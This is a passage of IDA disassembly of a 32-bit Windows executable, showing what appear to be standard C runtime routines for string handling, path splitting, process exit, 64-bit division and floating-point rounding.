		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_413FAA
		and	eax, 81010100h
		jz	short loc_413F68
		and	eax, 1010100h
		jnz	short loc_413FA4
		and	esi, 80000000h
		jnz	short loc_413F68


loc_413FA4:				; CODE XREF: sub_413F30+6Aj
					; sub_413F30+83j ...
		pop	esi
		pop	edi


loc_413FA6:				; CODE XREF: sub_413F30+23j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_413FAA:				; CODE XREF: sub_413F30+5Cj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_413FE7
		test	al, al
		jz	short loc_413FA4
		cmp	ah, bl
		jz	short loc_413FE0
		test	ah, ah
		jz	short loc_413FA4
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_413FD9
		test	al, al
		jz	short loc_413FA4
		cmp	ah, bl
		jz	short loc_413FD2
		test	ah, ah
		jz	short loc_413FA4
		jmp	short loc_413F68
; ---------------------------------------------------------------------------


loc_413FD2:				; CODE XREF: sub_413F30+9Aj
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FD9:				; CODE XREF: sub_413F30+92j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FE0:				; CODE XREF: sub_413F30+87j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_413FE7:				; CODE XREF: sub_413F30+7Fj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_413F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_413FEE	proc near		; CODE XREF: sub_4065CE+55p
					; sub_40E9C5+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]


loc_413FF2:				; CODE XREF: sub_413FEE+Cj
		mov	cx, [eax]
		inc	eax
		inc	eax
		test	cx, cx
		jnz	short loc_413FF2
		sub	eax, [esp+arg_0]
		sar	eax, 1
		dec	eax
		retn
sub_413FEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414004	proc near		; CODE XREF: sub_4140FA+22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_4140CB
		mov	ebx, [ebp+arg_C]
		cmp	ebx, esi
		jz	loc_4140F5
		mov	edi, [ebp+arg_0]
		cmp	[edi+14h], esi
		jnz	short loc_414056
		cmp	ebx, esi
		jbe	loc_4140F5


loc_414035:				; CODE XREF: sub_414004+4Bj
		mov	ecx, [ebp+arg_8]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_4140F5
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, ebx
		jb	short loc_414035
		jmp	loc_4140F5
; ---------------------------------------------------------------------------


loc_414056:				; CODE XREF: sub_414004+27j
		mov	esi, ds:dword_41F0A8
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword ptr [edi+4]
		call	esi
		test	eax, eax
		jnz	loc_4140F4
		call	ds:dword_41F008
		cmp	eax, 7Ah
		jz	short loc_41408E


loc_41407E:				; CODE XREF: sub_414004+C5j
					; sub_414004+EEj
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_4140F5
; ---------------------------------------------------------------------------


loc_41408E:				; CODE XREF: sub_414004+78j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	eax, ebx


loc_414096:				; CODE XREF: sub_414004+AEj
		mov	cl, [eax]
		dec	[ebp+var_4]
		test	cl, cl
		jz	short loc_4140B4
		mov	edx, [edi+48h]
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_4140AD
		inc	eax


loc_4140AD:				; CODE XREF: sub_414004+A6j
		inc	eax
		cmp	[ebp+var_4], 0
		jnz	short loc_414096


loc_4140B4:				; CODE XREF: sub_414004+99j
		push	[ebp+arg_C]
		sub	eax, ebx
		push	[ebp+arg_4]
		push	eax
		push	ebx
		push	1
		push	dword ptr [edi+4]
		call	esi
		test	eax, eax
		jnz	short loc_4140F5
		jmp	short loc_41407E
; ---------------------------------------------------------------------------


loc_4140CB:				; CODE XREF: sub_414004+10j
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_4140DE
		push	[ebp+arg_8]
		call	sub_416000
		pop	ecx
		jmp	short loc_4140F5
; ---------------------------------------------------------------------------


loc_4140DE:				; CODE XREF: sub_414004+CDj
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_8]
		push	9
		push	dword ptr [eax+4]
		call	ds:dword_41F0A8
		cmp	eax, esi
		jz	short loc_41407E


loc_4140F4:				; CODE XREF: sub_414004+69j
		dec	eax


loc_4140F5:				; CODE XREF: sub_414004+1Bj
					; sub_414004+2Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414004	endp


; =============== S U B	R O U T	I N E =======================================



sub_4140FA	proc near		; CODE XREF: sub_4065CE+19p
					; sub_4065CE+49p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41410F
		call	sub_41628E


loc_41410F:				; CODE XREF: sub_4140FA+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_414004
		add	esp, 10h
		retn
sub_4140FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414125	proc near		; CODE XREF: sub_4078FA+4D6Cp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_41F0B8
		test	eax, eax
		jnz	short loc_41413B
		call	ds:dword_41F008
		jmp	short loc_41413D
; ---------------------------------------------------------------------------


loc_41413B:				; CODE XREF: sub_414125+Cj
		xor	eax, eax


loc_41413D:				; CODE XREF: sub_414125+14j
		test	eax, eax
		jz	short loc_41414C
		push	eax
		call	sub_417C82
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41414C:				; CODE XREF: sub_414125+1Aj
		xor	eax, eax
		retn
sub_414125	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41414F	proc near		; CODE XREF: sub_4078FA+4CD6p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	14h
		push	offset stru_427750
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_418FBC
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_414CA3
		mov	[ebp+var_24], eax
		push	esi
		push	[ebp+var_20]
		call	sub_419044
		add	esp, 18h
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4141A3
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41414F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4141A3	proc near		; CODE XREF: sub_41414F+46p
					; DATA XREF: .rdata:stru_427750o
		push	dword ptr [ebp-1Ch]
		call	sub_4166C5
		pop	ecx
		retn
sub_4141A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4141AD	proc near		; CODE XREF: sub_4078FA+3EE6p
					; sub_40D1EF+F6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_416000
		cmp	eax, 1
		pop	ecx
		jb	short loc_4141E9
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_4141E9
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_4141E5
		push	2
		push	ebx
		push	esi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_4141E5:				; CODE XREF: sub_4141AD+26j
		inc	ebx
		inc	ebx
		jmp	short loc_4141F3
; ---------------------------------------------------------------------------


loc_4141E9:				; CODE XREF: sub_4141AD+19j
					; sub_4141AD+1Fj
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4141F3
		and	byte ptr [eax],	0


loc_4141F3:				; CODE XREF: sub_4141AD+3Aj
					; sub_4141AD+41j
		and	[ebp+arg_0], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	[ebp+var_8], eax
		mov	esi, 0FFh
		jz	short loc_41426B


loc_414206:				; CODE XREF: sub_4141AD+88j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_47A401[edx], 4
		jz	short loc_414217
		inc	eax
		jmp	short loc_414231
; ---------------------------------------------------------------------------


loc_414217:				; CODE XREF: sub_4141AD+65j
		cmp	cl, 2Fh
		jz	short loc_41422B
		cmp	cl, 5Ch
		jz	short loc_41422B
		cmp	cl, 2Eh
		jnz	short loc_414231
		mov	[ebp+var_4], eax
		jmp	short loc_414231
; ---------------------------------------------------------------------------


loc_41422B:				; CODE XREF: sub_4141AD+6Dj
					; sub_4141AD+72j
		lea	ecx, [eax+1]
		mov	[ebp+arg_0], ecx


loc_414231:				; CODE XREF: sub_4141AD+68j
					; sub_4141AD+77j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_414206
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_41426B
		cmp	[ebp+arg_8], 0
		jz	short loc_414266
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41424F
		mov	edi, esi


loc_41424F:				; CODE XREF: sub_4141AD+9Ej
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_4195CB
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_414266:				; CODE XREF: sub_4141AD+98j
		mov	ebx, [ebp+arg_0]
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_41426B:				; CODE XREF: sub_4141AD+57j
					; sub_4141AD+92j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_414275
		and	byte ptr [ecx],	0


loc_414275:				; CODE XREF: sub_4141AD+BCj
					; sub_4141AD+C3j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_4142C8
		cmp	edi, ebx
		jb	short loc_4142C8
		cmp	[ebp+arg_C], 0
		jz	short loc_4142A5
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41428E
		mov	edi, esi


loc_41428E:				; CODE XREF: sub_4141AD+DDj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_4195CB
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+var_8]


loc_4142A5:				; CODE XREF: sub_4141AD+D7j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_4142F0
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_4142B5
		mov	esi, eax


loc_4142B5:				; CODE XREF: sub_4141AD+104j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_4142F0
; ---------------------------------------------------------------------------


loc_4142C8:				; CODE XREF: sub_4141AD+CDj
					; sub_4141AD+D1j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_4142E6
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_4142D7
		mov	esi, eax


loc_4142D7:				; CODE XREF: sub_4141AD+126j
		push	esi
		push	ebx
		push	edi
		call	sub_4195CB
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_4142E6:				; CODE XREF: sub_4141AD+120j
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4142F0
		and	byte ptr [eax],	0


loc_4142F0:				; CODE XREF: sub_4141AD+FDj
					; sub_4141AD+119j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4141AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142F5	proc near		; CODE XREF: sub_4078FA+3409p
					; sub_4078FA+3436p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	18h
		push	offset stru_427760
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		mov	edi, ebx
		mov	[ebp+var_1C], ebx
		cmp	[ebp+arg_4], 0
		jg	short loc_414313
		xor	eax, eax
		jmp	short loc_41436A
; ---------------------------------------------------------------------------


loc_414313:				; CODE XREF: sub_4142F5+18j
		mov	esi, [ebp+arg_8]
		mov	[ebp+var_20], esi
		push	esi
		call	sub_416673
		pop	ecx
		and	[ebp+ms_exc.disabled], 0


loc_414324:				; CODE XREF: sub_4142F5+64j
		dec	[ebp+arg_4]
		jz	short loc_41435B
		dec	dword ptr [esi+4]
		js	short loc_414338
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41433F
; ---------------------------------------------------------------------------


loc_414338:				; CODE XREF: sub_4142F5+37j
		push	esi
		call	sub_417455
		pop	ecx


loc_41433F:				; CODE XREF: sub_4142F5+41j
		mov	[ebp+var_24], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414351
		cmp	edi, ebx
		jnz	short loc_41435B
		and	[ebp+var_1C], 0
		jmp	short loc_41435E
; ---------------------------------------------------------------------------


loc_414351:				; CODE XREF: sub_4142F5+50j
		mov	[edi], al
		inc	edi
		mov	[ebp+var_28], edi
		cmp	al, 0Ah
		jnz	short loc_414324


loc_41435B:				; CODE XREF: sub_4142F5+32j
					; sub_4142F5+54j
		and	byte ptr [edi],	0


loc_41435E:				; CODE XREF: sub_4142F5+5Aj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_414373
		mov	eax, [ebp+var_1C]


loc_41436A:				; CODE XREF: sub_4142F5+1Cj
		call	__SEH_epilog
		retn
sub_4142F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_414370	proc near		; DATA XREF: .rdata:stru_427760o
		mov	esi, [ebp-20h]
sub_414370	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414373	proc near		; CODE XREF: sub_4142F5+6Dp
		push	esi
		call	sub_4166C5
		pop	ecx
		retn
sub_414373	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414380	proc near		; CODE XREF: sub_4078FA+8DAp
					; sub_410A22+285p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_4143B2
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_4143B0
		jz	short loc_4143B2
		sub	ecx, 2


loc_4143B0:				; CODE XREF: sub_414380+29j
		not	ecx


loc_4143B2:				; CODE XREF: sub_414380+9j
					; sub_414380+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_414380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143B9	proc near		; CODE XREF: sub_414460+CBp
					; sub_414906+1Cp

arg_0		= dword	ptr  4

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_41F078
		test	eax, eax
		jz	short loc_4143DE
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:dword_41F074
		test	eax, eax
		jz	short loc_4143DE
		push	[esp+arg_0]
		call	eax ; dword_42A034


loc_4143DE:				; CODE XREF: sub_4143B9+Dj
					; sub_4143B9+1Dj
		push	[esp+arg_0]
		call	ds:dword_41F02C
		int	3		; Trap to Debugger


loc_4143E9:				; CODE XREF: sub_419706+Cp
		push	8
		call	sub_416901
		pop	ecx
		retn
sub_4143B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143F2	proc near		; CODE XREF: sub_419738p
		push	8
		call	sub_41686D
		pop	ecx
		retn
sub_4143F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4143FB	proc near		; CODE XREF: .text:loc_414A66p
		mov	eax, off_42C718
		test	eax, eax
		jz	short loc_414406
		call	eax ; sub_413498


loc_414406:				; CODE XREF: sub_4143FB+7j
		push	esi
		push	edi
		mov	ecx, offset dword_42A00C
		mov	edi, offset dword_42A024
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_414431


loc_41441A:				; CODE XREF: sub_4143FB+30j
		test	eax, eax
		jnz	short loc_41445D
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_414426
		call	ecx


loc_414426:				; CODE XREF: sub_4143FB+27j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41441A
		test	eax, eax
		jnz	short loc_41445D


loc_414431:				; CODE XREF: sub_4143FB+1Dj
		push	offset sub_419794
		call	sub_41973E
		mov	esi, offset dword_42A000
		mov	eax, esi
		mov	edi, offset dword_42A008
		cmp	eax, edi
		pop	ecx
		jnb	short loc_41445B


loc_41444C:				; CODE XREF: sub_4143FB+5Ej
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414454
		call	eax


loc_414454:				; CODE XREF: sub_4143FB+55j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41444C


loc_41445B:				; CODE XREF: sub_4143FB+4Fj
		xor	eax, eax


loc_41445D:				; CODE XREF: sub_4143FB+21j
					; sub_4143FB+34j
		pop	edi
		pop	esi
		retn
sub_4143FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414460	proc near		; CODE XREF: sub_414533+8p
					; sub_414544+8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	8
		call	sub_416901
		xor	esi, esi
		inc	esi
		cmp	dword_479E9C, esi
		pop	ecx
		jnz	short loc_414488
		push	[ebp+arg_0]
		call	ds:dword_41F0B4
		push	eax
		call	ds:dword_41F0BC


loc_414488:				; CODE XREF: sub_414460+16j
		cmp	[ebp+arg_4], 0
		mov	al, byte ptr [ebp+arg_8]
		mov	dword_479E98, esi
		mov	byte_479E94, al
		jnz	short loc_4144EE
		mov	ecx, dword_47B670
		test	ecx, ecx
		jz	short loc_4144CF
		mov	eax, dword_47B66C
		sub	eax, 4
		cmp	eax, ecx
		jmp	short loc_4144C8
; ---------------------------------------------------------------------------


loc_4144B2:				; CODE XREF: sub_414460+6Dj
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4144BA
		call	eax


loc_4144BA:				; CODE XREF: sub_414460+56j
		mov	eax, dword_47B66C
		sub	eax, 4
		cmp	eax, dword_47B670


loc_4144C8:				; CODE XREF: sub_414460+50j
		mov	dword_47B66C, eax
		jnb	short loc_4144B2


loc_4144CF:				; CODE XREF: sub_414460+44j
		mov	eax, offset dword_42A028
		mov	esi, offset dword_42A030
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_4144EE


loc_4144DF:				; CODE XREF: sub_414460+8Cj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_4144E7
		call	eax


loc_4144E7:				; CODE XREF: sub_414460+83j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4144DF


loc_4144EE:				; CODE XREF: sub_414460+3Aj
					; sub_414460+7Dj
		mov	eax, offset dword_42A034
		mov	esi, offset dword_42A03C
		cmp	eax, esi
		mov	edi, eax
		jnb	short loc_41450D


loc_4144FE:				; CODE XREF: sub_414460+ABj
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_414506
		call	eax


loc_414506:				; CODE XREF: sub_414460+A2j
		add	edi, 4
		cmp	edi, esi
		jb	short loc_4144FE


loc_41450D:				; CODE XREF: sub_414460+9Cj
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_41451E
		push	8
		call	sub_41686D
		jmp	short loc_414530
; ---------------------------------------------------------------------------


loc_41451E:				; CODE XREF: sub_414460+B3j
		push	[ebp+arg_0]
		mov	dword_479E9C, 1
		call	sub_4143B9


loc_414530:				; CODE XREF: sub_414460+BCj
		pop	ecx
		pop	ebp
		retn
sub_414460	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414533	proc near		; CODE XREF: .text:00414AB6p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414533	endp


; =============== S U B	R O U T	I N E =======================================



sub_414544	proc near		; CODE XREF: sub_4148E1+1Cp
					; .text:00414AE3p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414544	endp


; =============== S U B	R O U T	I N E =======================================



sub_414555	proc near		; CODE XREF: .text:loc_414ABBp
		push	1
		push	0
		push	0
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414555	endp


; =============== S U B	R O U T	I N E =======================================



sub_414564	proc near		; CODE XREF: .text:loc_414AE8p
		push	1
		push	1
		push	0
		call	sub_414460
		add	esp, 0Ch
		retn
sub_414564	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414580	proc near		; CODE XREF: sub_40FD69+3Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4145A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_4145F1
; ---------------------------------------------------------------------------


loc_4145A1:				; CODE XREF: sub_414580+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4145AF:				; CODE XREF: sub_414580+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4145AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4145DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4145DA
		jb	short loc_4145E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4145E2


loc_4145DA:				; CODE XREF: sub_414580+4Aj
					; sub_414580+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4145E2:				; CODE XREF: sub_414580+52j
					; sub_414580+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_4145F1:				; CODE XREF: sub_414580+1Fj
		pop	ebx
		retn	10h
sub_414580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414600	proc near		; CODE XREF: sub_40FD69+24p
					; sub_413820+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_414622
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_414663
; ---------------------------------------------------------------------------


loc_414622:				; CODE XREF: sub_414600+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_414630:				; CODE XREF: sub_414600+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_414630
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41465E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41465E
		jb	short loc_41465F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41465F


loc_41465E:				; CODE XREF: sub_414600+4Ej
					; sub_414600+54j
		dec	esi


loc_41465F:				; CODE XREF: sub_414600+56j
					; sub_414600+5Cj
		xor	edx, edx
		mov	eax, esi


loc_414663:				; CODE XREF: sub_414600+20j
		pop	esi
		pop	ebx
		retn	10h
sub_414600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414670	proc near		; CODE XREF: sub_41046C+22Cp
					; sub_41046C+285p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= qword	ptr  4

		cmp	dword_47A3E0, 0
		jz	sub_419AF8
		sub	esp, 8
		stmxcsr	[esp+8+var_4]
		mov	eax, [esp+8+var_4]
		and	eax, 1F80h
		cmp	eax, 1F80h
		jnz	short loc_4146A4
		fnstcw	word ptr [esp+8+var_8]
		mov	ax, word ptr [esp+8+var_8]
		and	ax, 7Fh
		cmp	ax, 7Fh


loc_4146A4:				; CODE XREF: sub_414670+23j
		lea	esp, [esp+8]
		jnz	sub_419AF8
		jmp	short $+2
		movq	xmm0, [esp+arg_0]
		movapd	xmm2, oword ptr	ds:oword_4277A0
		movapd	xmm1, xmm0
		movapd	xmm7, xmm0
		psrlq	xmm0, 34h
		movd	eax, xmm0
		andpd	xmm0, oword ptr	ds:oword_4277D0
		psubd	xmm2, xmm0
		psrlq	xmm1, xmm2
		test	eax, 800h
		jnz	short loc_414732
		cmp	eax, 3FFh
		jl	short loc_41476A
		psllq	xmm1, xmm2
		cmp	eax, 432h
		jg	short loc_414703
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_414703:				; CODE XREF: sub_414670+86j
					; sub_414670+E1j
		ucomisd	xmm7, xmm7
		jnp	short loc_41472D
		mov	edx, 3EDh
		sub	esp, 10h
		mov	[esp+10h+var_4], edx
		mov	edx, esp
		add	edx, 14h
		mov	[esp+10h+var_8], edx
		mov	[esp+10h+var_C], edx
		mov	[esp+10h+var_10], edx
		call	sub_4197D8
		add	esp, 10h


loc_41472D:				; CODE XREF: sub_414670+97j
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_414732:				; CODE XREF: sub_414670+74j
		movq	xmm0, [esp+arg_0]
		psllq	xmm1, xmm2
		movapd	xmm3, xmm0
		cmppd	xmm0, xmm1, 1
		cmp	eax, 0BFFh
		jl	short loc_41476D
		cmp	eax, 0C32h
		jg	short loc_414703
		andpd	xmm0, oword ptr	ds:oword_427790
		subsd	xmm1, xmm0
		movq	[esp+arg_0], xmm1
		fld	[esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41476A:				; CODE XREF: sub_414670+7Bj
		fldz
		retn
; ---------------------------------------------------------------------------


loc_41476D:				; CODE XREF: sub_414670+DAj
		cmppd	xmm3, oword ptr	ds:oword_4277C0, 1
		orpd	xmm3, oword ptr	ds:oword_4277C0
		andpd	xmm3, oword ptr	ds:oword_4277B0
		movq	[esp+arg_0], xmm3
		fld	[esp+arg_0]
		retn
sub_414670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414794	proc near		; CODE XREF: sub_41046C+233p
					; sub_41046C+28Cp

var_20		= dword	ptr -20h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		and	esp, 0FFFFFFF0h
		fld	st
		fst	[esp+20h+var_8]
		fistp	[esp+20h+var_10]
		fild	[esp+20h+var_10]
		mov	edx, [esp+20h+var_8]
		mov	eax, dword ptr [esp+20h+var_10]
		test	eax, eax
		jz	short loc_4147F3


loc_4147B7:				; CODE XREF: sub_414794+69j
		fsubp	st(1), st
		test	edx, edx
